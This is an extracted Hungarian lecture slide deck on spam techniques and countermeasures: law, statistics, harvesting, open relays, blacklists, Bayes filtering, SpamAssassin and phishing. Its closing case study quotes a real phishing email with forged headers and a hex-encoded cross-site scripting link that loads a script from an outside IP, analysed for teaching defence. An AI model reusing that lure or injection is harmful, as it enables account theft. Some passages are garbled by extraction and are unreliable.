The evolution of spam techniques and countermeasures

Átírás

1 The evolution of spam techniques and countermeasures Hámor Tamás Hellinger Péter Réti Kornél Révay Gergely Tutsek Bálint Bevezető SPAM: a fogadó által nem kért, elektronikusan, például en keresztül tömegesen küldött hirdetés, felhívás. Az elnevezés eredete: Spiced Pork And Ham Egy angol konzervként forgalmazott hústermék, mely egy komikus filmjelenet (Monty Python Flying Circus egyik epizódja) alapján lett a ránkerőltetett valami jelölője. (Más elnevezések még: shit posing as mail, stupid pointless annoying messages ) 12/15/2008 The evolution of spam techniques and countermeasures 2

2 Törvényi háttér USA: CAN-SPAM: (2003 dec.) Első komolyabb lépés a törvényi szabályozásra, de komolyabb eredményeket nem érnek el vele ( You can spam ) Jelenleg: Államonként eltérő, de többnyire elég szigorú. Pl.: Virginiában dollár/nap, szövetségi szinten pedig 100 dollár/spam EU: 2002: Az első átfogó spamtörvényt, de az Unión kívülről érkező kéretlen levelek ellen nem nyújt védelmet. Mégis az első európai kártérítési per csak 2006 elején (Nigel Roberts). 12/15/2008 The evolution of spam techniques and countermeasures 3 Törvényi háttér Magyarországon (2008 szept. 1-től): A évi XLVIII. tv. (a gazdasági reklámtevékenység alapvető feltételeiről és egyes korlátairól) 6. (1)-a alapján kéretlen elektronikus, üzletszerzést célzó reklámüzenet (azaz spam) csak természetes személynek nem küldhető előzetes beleegyezés nélkül. Legfobbszabalyok.pdf 12/15/2008 The evolution of spam techniques and countermeasures 4

3 Motivációk, célok Támadó (spammer): Még az esetleges bűnetetések mellett is ez az egyik legolcsóbb, leghatákonyabb és legtöbbeket megcélzó módja a direkt marketing hirdetéseknek, reklámoknak, átveréseknek, adathalászatnak Felhasználó, szolgáltató: Minél kisebb tévedés mellett kiszűrni a kéretlen hirdetéseket!!! 12/15/2008 The evolution of spam techniques and countermeasures 5 Legfrissebb statisztikai adatok SPAM-ek aránya a 2008-as év első az ek 92,3%-a volt spam, azaz tizenöt levélből csak egy nem kéretlen hirdetés második negyedére ez az érték 77%-ra mérséklődött!!! Küldött SPAM-ek száma éves és 100napos viszonylatban: 12/15/2008 The evolution of spam techniques and countermeasures 6

4 Legfrissebb statisztikai adatok és hogy honnan jutottunk el idáig: 12/15/2008 The evolution of spam techniques and countermeasures 7 Legfrissebb statisztikai adatok Országos és domain statisztikák: élen az USA és a Yahoo 12/15/2008 The evolution of spam techniques and countermeasures 8

5 Legfrissebb statisztikai adatok Spamtípusok szerint: 18%-a hirdet valamiféle terméket 20% pénzügyi 17% egészségügyi tartalmú 4% kínál pornográfiát 2% politikai célú 1% phishing támadás Legek a SPAMvilágból: Az első bizonyított és ismert táviratspamet szeptember 13-án küldték el. Legnagyobb kártérítés spamek miatt: 11,2 milliárd dollár Legnagyobb büntetés: 5,3 millió dollár dolláros perköltség (AOL január) Legtöbb elküldött spam: 1012 billió kéretlen reklámlevél (Kim Ha-Na egy dél-koreai spammer álneve) 12/15/2008 The evolution of spam techniques and countermeasures 9 Okozott károk Letöltési/kiválogatási idő Tárhely Forgalom, sávszélesség Átverések 12/15/2008 The evolution of spam techniques and countermeasures 10

6 Mi ellen védekezzünk, a spam-melés folyamata Címgyűjtés A SPAM típusának és tartalmának kiválasztása/megtervezése Célpont ( felhasználó, szerver) meghatározása Küldés útjának megtervezése Az okozható károk elkerülése (pl. phishing) Minden egyes fázis ellen védekezhetünk 12/15/2008 The evolution of spam techniques and countermeasures 11 Nem alapú SPAM Hámor Tamás

7 Kéretlen reklámok és üzenetek típusai SMS Telefonhívás Fax Levél, prospektus (Direct Marketing) TV, DVD, Filmek Instant Messaging (MSN, Jabber, ICQ, IRC, stb.) Közösségi oldalak (iwiw, Facebook, Myspace, Hi5, stb.) Blogok, híroldalak, Wiki-k Street SPAM SMS spam, spasms, mobilspam hez hasonlóan opt-in, adatkezelési irányelvek (ügyfélszolgálat, kezelt adatok lekérdezhetőek, körük minimális, adatkezelés célja ismert) Adatgyűjtés: pl. hostess lányok, weboldalak Védekezés: Nem beregisztrálni, lemondani, NHH-nál vagy Fogyasztóvédelemnél panaszt tenni Szia! Még nem ismerjük egymást, a barátnömtöl kaptam a számod. Uncsizom és dumcsiznék egyet! Ugye visszahívsz? Flóra és Heni. A számom: 0681****** Feladó: *******

8 Telefon (telemarketing, direkt marketing) Gépi- vagy személyes megkeresés (Ön nyert!/ Ismeri új csomagunkat?) Opt-out: Robinson lista Adatgyűjtés: pl. telefonkönyv, hostess lányok, weboldalak Védekezés: Nem beregisztrálni, lemondani, NHH-nál vagy Fogyasztóvédelemnél panaszt tenni, Robinson lista Faxspam, Junk fax A címzettnek is pénzbe kerül (papír, tinta) évi XCIV. tv. (Az elektronikus kereskedelemmel kapcsolatos egyes törvények módosításáról) tiltja

9 Postai küldemény (Direkt Marketing) Névre szóló Regisztráció, ügyfélszolgálat, adatvédelem, sorsjáték bejelentés Opt-out: Robinson lista Matrica a levelesládán: nem jelent semmit Címek központi lakcímnyilvántartásból, telefonkönyvből TV, DVD, Filmek TV Magyarországon meghatározott műsoridőreklámidő arány Kábelszolgáltató saját reklámokat vág be DVD Át nem ugorható reklámok Filmek Több országban tilos a tudat alatti reklám (1-2 képkocka) Márkák a filmekben

10 Spim: Instant Messaging, Chat (1) Vírusok üzeneteket küldenek az áldozat nevében Phishing oldal elkéri a jelszavakat és úgy küld üzeneteket Az üzenetek tartalmazhatnak kártékony oldalakra mutató linket Kártékony programok közvetlenül is küldhetőek megtévesztő kiterjesztéssel Több IM szűri a linkeket (lásd MSN vs Youtube) Spim: Instant Messaging, Chat (2) Chat spam: botok egy-egy üzenet erejéig belépnek szobákba (netes játékokban is) VoIP: hangüzenetek pl. Skype-on vagy játékokban (CS )

11 Weboldalak, blogok Felugró ablakok (Warez, gyógyszer, pr0n) Villogó, mozgó Flash/GIF anim (Ön Nyert!) Megtévesztés (pl. ablaknak kinéző kép, lásd Phishing technikák) Böngészőablak átméretezése, mozgatása Vágólap SPAM Komment SPAM Meghívó SPAM Spamdexing Social Networking Módszerek: Üzenetekben: üzenőfal, vagy privát üzenet (pl. láncüzenetek) Hamis felhasználók Csoportok, fan oldalak Kisalkalmazások Meghívók Személyes adatok Védekezés: Értesítések tiltása Küldők tájékoztatása Kapcsolat megszakítása Blokkolás Jelentés Leiratkozás

12 Street SPAM Szórólapok Plakátok Stenclik, matricák Az spamküldés egyes lépései és megakadályozásuk Réti Kornél

13 Áttekintés A spamküldés folyamata Címgyűjtés Megrendelés Üzenet összeállítása Elküldés Kézbesítés Hatás kifejtése 12/15/2008 The evolution of spam techniques and countermeasures 25 Címgyűjtés Módszerek: Kereskedés vagy csere kollégával Szótár alapú találgatás domain-en belül -cím megadás kérése (cserébe ingyenes szolg.) Vásárlás legitim szolgáltatótól Gyűjtögetés robottal Eredmény: Címlista tartalmaz rossz, duplikátum, szerep, idegen címeket is Nem baj, nincs plusz költség 12/15/2008 The evolution of spam techniques and countermeasures 26

14 Címgyűjtés Gyűjtögetés honnan: Robotok: fórumokból, archívumokból } webről Eleve publikált címeket Vírusok, kémprogramok: a merevlemezedről Akár személyes, titkos címeket is Védekezés: Listamérgezés (list poisoning) Kapcsolatfelvételi űrlap (contact form) Címferdítés (address munging) Utasításokkal gond: buta emberek, okos robotok Átlátszóan gond lehet: felolvasóprogramok, szöveges böngészők 12/15/2008 The evolution of spam techniques and countermeasures 27 Címgyűjtés Élő címek ellenőrzése: Web bug a HTML levelekben Leiratkozás link Védekezés: HTML kikapcsolása :-/ Internetes URL-ek követésének kikapcsolása Ne kattints rá! 12/15/2008 The evolution of spam techniques and countermeasures 28

15 Elküldés Forrásgép Saját, rejtve (álfejléccel, proxyval) Internet café Botnet Forráscím Autogenerált webmail címek Nem létező, hamis címek (open relay) Mások címei (vírusok) 12/15/2008 The evolution of spam techniques and countermeasures 29 Elküldés Open Relay SMTP szerverek Bárki küldhet, bármilyen címről jaj! Hosszú BCC lista volt (már egyedi ek) Megoldási kísérletek POP before SMTP Átlátszó, de bizonytalan SMTP-AUTH Nem véd a hamisítás ellen. Gyenge pont a user password ISP smart host-ok Kábel/DSL tiltása, szigorú RFC formátum 12/15/2008 The evolution of spam techniques and countermeasures 30

16 Elküldés Továbbított spam kivédése Greylisting, nolisting } szigorú RFC DNSBL technológia DNS alapon lekérdezhető IP feketelista Létezik URI-lista is Alkalmazások: MAPS RBL ORBS SPEWS, APEWS 12/15/2008 The evolution of spam techniques and countermeasures 31 Spam trap Honeypot spam ellen Weben csapda címek publikálása Ember számára nem látható Robot földolgozza Csak spam jön rá! Érkező spam elemzése Tartalom analizálása Hasonló levelek blokkolása Forráscím feketelistára tétele Ha lebukik, kihasználható 12/15/2008 The evolution of spam techniques and countermeasures 32

17 Összegzés Nincs általános megoldás, csak részproblémákra megoldások Szereplők: küldők, várók, szolgáltatók, egyéb (DNS, ISP, fejlesztők, ) Mindenkinek tenni kell a saját részéről Fejlődő védelem, fejlődő spam Nemcsak műszaki vonatkozások, de mérnöki megoldásokat igényel 12/15/2008 The evolution of spam techniques and countermeasures 33 Tartalom alapú SPAM- szűrés Hellinger PéterP december 11.

18 Bevezető Feltételez telezés: lehetséges a megkülönb nböztetés nem triviális: tömeges t levelet tartalom alapján? mégis: egyetlen megkerülhetetlen védekezv dekezés? Támadó és s védekezv dekezési módszerek m fejlődése eredménye: több t szintű, összetett szűrők A fals pozitív v sokkal rosszabb ennek megfelelően en működnek m a szűrők Tartalom alapú spamszűrés 35 Kezdeti szűrők és s a DCC Kezdetek kézzel kódolt k egyszerű szabályok pl. tartalmaz egy kifejezést Call Now!!!,, akkor spam Spam ugyanaz az üzenet sokszorosítva fingerprint (hash érték) szerint eldobás spammer változv ltozó részeket ad az üzenetekhez exp. számú signature kellene Distributed Checksum Clearinghouses (DCC) DCC szerver és s kliens kis (UDP) forgalmat generál fuzzy checksums, üzenet bizonyos részeit r ignorálja Tartalom alapú spamszűrés 36

19 Heurisztikus/genetikus szűrők Empirikus szabályok Több szabály tüzelt zelése alapján n lesz spamnek nyílv lvánítva az üzenet komplex szabályok Nagyobb erőforr forrás-igény, mint a statisztikai szűrők Tartalom alapú spamszűrés 37 Bayes szűrés s (1) Bayes supervised machine learning spam-ham jellegzetességek gek megtanulása Bayes formula Tartalom alapú spamszűrés 38

20 Bayes szűrés s (2) Legyen attribútumvektor, tumvektor, Naiv Bayes szűrés s (függetlens ggetlenség): g):, relatív v gyakoriságokb gokból Tartalom alapú spamszűrés 39 Bayes szűrés s (3) Fals pozitív v legyen -szor olyan rossz! akkor nyilvánítjuk spamnek, ha: lehet akár r 999, ha a spamet automatikusan töröljt ljük Tartalom alapú spamszűrés 40

21 Bayes szűrés s (4) Tanítás nagy spam és s ham adathalmaz tokenizálás valósz színűségek: Működés tokenizálás fejléc, HTML, Javascript is figyelmen kívül k l hagyni: HTML comment és s csak szám m token tanító halmazban 5-nél 5 l kevesebbszer szereplő token érdekes tokenek: 0.5 valósz színűségtől l távolt Tartalom alapú spamszűrés 41 Második generáci ciós s Bayes szűrők Fejlesztés preprocessing pl. helyettesítő karakterek $, 1...) tokenizálás, token kombináci ció token: reguláris ris kifejezésnek megfelel token n-esek, n pl. max 5 méretm retű ablak: w4 w5 w3 <skip> w5 w2 <skip> <skip> w5 w1 <skip> <skip> <skip> w5 token súlyozs lyozás Tartalom alapú spamszűrés 42

22 További szűrő módszerek Egyéb b osztályoz lyozó algoritmusok, modellek döntési fák, f SVM, Boosting Linkek (URL) alapján n (elsősorban) sorban) Emerald Spam Shield spamek 95%-a a tartalmaz linket levél l a CyberPatrol hálózath zatára érkezik saját t listájuk van a támadt madó weboldalakról ismeretlen URL esetén n webbot felderíti (veszélyes tartalom, redirecting...) Kombinált megoldások Tartalom alapú spamszűrés 43 SpamAssassin Open-source Kb. ezer teszt alapján n pontoz Score értékek tanulása kb. 1 millió kézzel válogatott v levél l alapján gépi tanulás s (genetikus algoritmus, neurális háló) h negatív v score is Miért kell score? statisztikai szűrők folyamatosan tanítani tani kell spammerek új j módszerekkel m próbálj lják k kikerülni Sok technika kombinálva kombinált score nagyon nehezen megtéveszthet veszthető Tartalom alapú spamszűrés 44

23 SpamAssassin tests Néhány teszt példap Default Scores (local, net, with bayes, with bayes+net) <5: : ham 5-12: : spamgyanús >12: spam Tartalom alapú spamszűrés 45 Image SPAM 2006-ban nagyon megugrott az arányuk Kép p helye alapján letölt ltés s külsk lső forrásb sból cím c m létezik! l attachment Szöveg felismerése se a képbenk OCR (Optimal Character Recognition) megtéveszt vesztésese Randomizáló technikákkal kkal egyedi képek k létrehozl trehozása signature ellen Alap megoldások Fehér r lista Tartalom alapú spamszűrés 46

24 Tartalom alapú spamszűrés Tartalom alapú spamszűrés 48

25 Image SPAM új j módszerekm Néhány példa p image spam szűrésre sre Conference of E and Anti-Spam (CEAS) 2007 & 2008 OCR módszereket m megtéveszt vesztő technikák k detektálása Near-Duplicate Detection Gyors kép k p osztályoz lyozók jó jellemzők k (feature) használata Just In Time (JIT) feature extraction Tartalom alapú spamszűrés 49 Összegzés Who-Where Where-What-How szűrési si elv: Who sent the message and what do we know about this sender? Where does the call to action in the message take you? What is the nature of the message content? How was the message technically constructed? Tartalom alapú spamszűrés 50

26 Phishing Készítette: Révay Gergely Előadás menete Phishing típusok 2008 Q1 statisztika Best Practices Esettanulmány

27 Phishing típusok Phishing: Személyes információ megszerzése egyenesen a végfelhasználótól az Interneten keresztül. Nagy részben 'Social Engineering'. Esetünkben főleg nagymennyiségben kiküldött -ekkel és hamis honlapokkal. Pharming: Technológiailag fejlettebb és szofisztikáltabb megoldás, már nem a felhasználó figyelmetlenségében bízik, hanem valóban eltéríti a valós URL-t.(hosts fájl átírás, DNS (.. stb cache poisoning Whaling: Ha igazán 'Nagy Halat' akarunk. Nem nagymennyiségben kiküldött -ekkel, hanem célzott és sokkal jobban megtervezett támadás főleg vezetők ellen Q1 statisztika Január Február Március Egyedi phishing bejelentések száma Egyedi phishing oldal Támadott védjegyek száma Legnépszerűbb phishing oldalakat hosztoló ország US US US Valamilyen formában szerepel benne URL 28.30% 23.20% 26.10% Nincs hosztnév, csak IP 5.50% 13.20% 4.00% Nem a 80-as portot használja 0.81% 0.45% 0.49% Legtovább futó honlap 31 nap 29 nap 31 nap

28 Best Practices Inbound szűrés Az eddigi spamszűrő technikák(bayes-szűrés, white/blacklist, URL szűrés) nem nagyon hatékonyak mert az általában valós -ek másolata, a honlap pedig több szempontból dinamikusan változik. 2. Üzenetek eldobása Ha az üzenet phishing része akkor ne kerüljön a felhasználó elé. 3. Felhasználó oldali védelem Az ISP ösztönözze a felhasználót a védekezésre. 4. Küldő hitelesítés Az ISP próbálja ellenőrizni a küldőt, amennyiben nem sikerül utasítsa vissza a levelet. Best Practices Képek elrejtése Amíg a felhasználó nem kéri ne mutassuk a képeket a levélben. 6. Hyperlink-ek elrejtése/törlése Így nem csábítja a a felhasználót azonnali klikkelésre. 7. DNS infrastruktúra frissítése Pharming ellen fontos, hogy a hibákat gyorsan javítsák. 8 Tanusítványok használata Csak tanusítvánnyal rendelkező oldalakban bízzunk(de azokban sem feltétlenül).

29 Phishing Phil Esettanulmány 2004 november 29-én elfogott levél A Suntrust Bank ügyfeleit támadja A NewScientist.com jelentette a támadást decemberben Különlegessége, hogy több mint 10 technikát használ ebben az egy levélben

30 Esettanulmány 1 Return-Path: <billing@suntrust.com> Delivered-To: victim-example:com-victim@example.com X-Envelope-To: victim@example.com Received: (qmail invoked from network); 29 Nov :16: ( ) Received: from jeannedarc fbx.proxad.net by smtp.example.com with SMTP; 29 Nov :16: X-Message-Info: MU/s+631+rx/BKO+3/ Received: from smtp-harpsichord.poland.billing@suntrust.com ([ ]) by b68- ky1.billing@suntrust.com with Microsoft SMTPSVC( ); Tue, 30 Nov :12: Received: from irs661.insist.billing@suntrust.com (bony989.billing@suntrust.com ([ ] by smtp-collinear.gripe.billing@suntrust.com (Postfix) with SMTP id 185GNY98L9KAW for <victim@example.org>; Tue, 30 Nov :08: Received: from smtp-russo.candidate.billing@suntrust.com ([ ]) by xf63- zh97.billing@suntrust.com with Microsoft SMTPSVC( ); Tue, 30 Nov :16: X-Message-Info: HMRMU+%ND_LC_CHAR[1-3]97+s+KGV+217/ Received: from stickle.billing@suntrust.com ([ ]) by deprecate.billing@suntrust.com with MailEnable ESMTP; Tue, 30 Nov :13: Date: Tue, 30 Nov :11: Message-Id: < @billing@suntrust.com> From: Suntrust Billing Department <billing@suntrust.com> To: victim <victim@example.org> Subject: Failure to confirm your records may result in your account suspension. ( 7.4 MIME-Version: 1.0 (produced by zombieatrophic Content-Type: multipart/alternative; boundary=" " X-Spam-Filtered: 1a ec47980fc0f6a3aa0000d3f X-Spam-Status: No, hits=1.1 required=3.5 tests=mime_html_only,bayes_01,http_excessive_escapes,html_50_60,html_link_click_here,mime _HTML_ONLY_MULTI,CLICK_BELOW,HTML_IMAGE_ONLY_10,HTML_MESSAGE X-Spam-Flag: NO X-Spam-Level: * Esettanulmány 2 Content-Type: text/html; charset="iso " Content-Transfer-Encoding: quoted-printable Content-Description: habit hysteria contemptuous <html> <head> </head> <body> <img border=3d"0" src=3d" go_home.gif" width=3d"171" height=3d"66"> Dear valued Suntrust m= ember, Due to concerns, for the safety and integrity of the online banking commun= ity we have issued the following warning message. It has come to our attention that your account information needs to be con= firmed due to inactive customers, fraud and spoof reports. If you could please ta= ke 5-10 minutes out of your online experience and renew your records you will= not run into any future problems with the online service. However, failure to = confirm your records may result in your account suspension. Once you have confirmed your account records your internet banking service= will not be interrupted and will continue as normal.

31 Esettanulmány 3 Please <a title=3d" target=3d"_blank" href=3d" trust.com/onlinestatements/index.asp?accountverify=3ddf4g653432fvfdsgfsg45= wgsvfwfvfvdfs54v54g5f42f543ff5445wv54w&promo=3d%22%3e%3cscript+language= %3Djavascript+src%3D%22http%3A%2F%2F%3218%2E%3103%2E32%2E138%3A8= %3081%2Fsun%2Fsun%2Ejs%22%3E%3C%2FSCRIPT%3E">click here</a> to confirm you= r bank account records. Thank you for your time, Suntrust Billing Department. <hr> Esettanulmány - 4 <table cellspacing=3d"0" cellpadding=3d"0" width=3d"100%" border=3d"1" id=3d= "table1"> <tr> <td valign=3d"top" align=3d"left" width=3d"30" bordercolorlight=3d"#0000= 00" bordercolor=3d"#000000" bordercolordark=3d"#000000"> <a href=3d" <img border=3d"0" src=3d" roup_of_people1.jpg" width=3d"156" height=3d"43"></a> </td> <td class=3d"footer" valign=3d"top" align=3d"right"> <a href=3d" class=3d= "footer" title=3d" target=3d"_blank= " href=3d" Privacy Promise</a> <a class=3d"footer" title=3d" target=3d"_blank" = href=3d" Terms, conditions, caveats and small print</a> =a SunTrust Banks, Inc. - <img height=3d"9" src=3d" ehl_house.gif" width=3d"14"> Equal Housing Lender - Member FDIC</td> </tr> </table> </body> </html>

32 Esettanulmány 5 Return-Path: billing@suntrust.com Hamisított From címből készíti az utolsó SMTP szerver, ez az alap trükk. Received: from jeannedarc fbx.proxad.net ( ) Valódi az utolsó SMTP szerver, itt egy francia ISP felhasználója, valószínűleg egy feltört otthoni gép. Received: from smtp-harpsichord.poland.billing@suntrust.com ([ ]) by b68-ky1.billing@suntrust.com with Microsoft SMTPSVC( ); Hamis Received header, ha több van növeli a bizalmat, de van a hoszt névben ezért egyértelműen hamis. Ehhez még jönnek a random fehérlistás szavak. Esettanulmány 6 Tue, 30 Nov :12: Hamis dátum, a jövőben van. Valószínüleg elcsúszott otthoni gép órája okozza. From: Suntrust Billing Department <billing@suntrust.com> Ugyanezt láthatjuk a Return-path-ban is. De elképzelhető, hogy létezik a cím és az osztály. To: victim <victim@example.org> Megszemélyesített címzett. A szándék megvolt a megszemélyesítésre, de ilyenkor általában csak előtti részt másolják át, ami nem mindig adja ki az elvárt [Vezetéknév] [Keresztnév] párt.

33 Esettanulmány - 7 Subject: Failure to confirm your records may result in your account suspension. Tipikus a phishing-re a negatív motivátor baj lesz ha nem csinálod, a spammel ellentétben ahol általában pozitív motivátor van nagyobb lehet ha megveszed. Content-Type: text/html; Ebben a levélben csak html volt. Jobb helyeken már csatolják ugyanazt plain text-ben is, a kompatibilitás kedvéért. Content-Description: habit hysteria contemptuous Ismét véletlen 'jó' szavak a Bayes szűrők megtévesztésére. Esettanulmány 8 <img border=3d"0" src=3d" width=3d"171" height=3d"66"> Valós képek egyenesen a cég honlapjáról. font face=3d"trebuchet MS">Dear valued Suntrust m= ember, Személytelen megszólítás. Ha a valódi bank írna meg tudná oldani, hogy névre szóljon a levél. Due to concerns, for the safety and integrity of the online banking commun=ity we have issued the following warning message. Fura nyelvtan. Két oka lehet: nem anyanyelvű író, spam szűrő megtévesztése. Az utóbbi érdekében ismert kifejezéseket cserélnek le szinonimákra, itt online banking community = your account.

34 Esettanulmány 9 <a title=3d" target=3d"_blank" href=3d" fy=3ddf4g653432fvfdsgfsg45= wgsvfwfvfvdfs54v54g5f42f543ff5445wv54w&promo=3d%22%3e%3csc ript+language= %3Djavascript+src%3D%22http%3A%2F%2F%3218%2E%3103%2E32%2 E138%3A8=%3081%2Fsun%2Fsun%2Ejs%22%3E%3C%2FSCRIPT%3E" >click here</a> to confirm you= r bank account records. Ez három fontos elemet hordoz magában. 1. ScreenTip: <a title=" target="_blank" 2. Link a valódi oldalra : href=" f4g653432fvfdsgfsg45wgsvfwfvfvdfs54v54g5f42f543ff5445wv54w&pro mo= Esettanulmány Szkriptelés Hex kódolt HTTP praméterekből dekódolt szkript: <SCRIPT language=javascript src=" Sajnos a szervert elég gyorsan lekapcsolták ezért nem derült ki mit csinál pontosan a sun.js. A Suntrust számla ellenőrző oldalának volt egy Cross- Site Scripting hibája. A támadó valószínűleg ezt használta ki, hogy megváltoztassa az oldalukat olyanra, hogy onnan meg tudja szerezni a felhsználó adatait.

35 Összefoglalás Kifejezetten aktív műfaj napjainkban Nehéz ellene védekezni Több mint Social Engineering Már komoly technikai háttere van Köszönöm a figyelmet! Kérdések?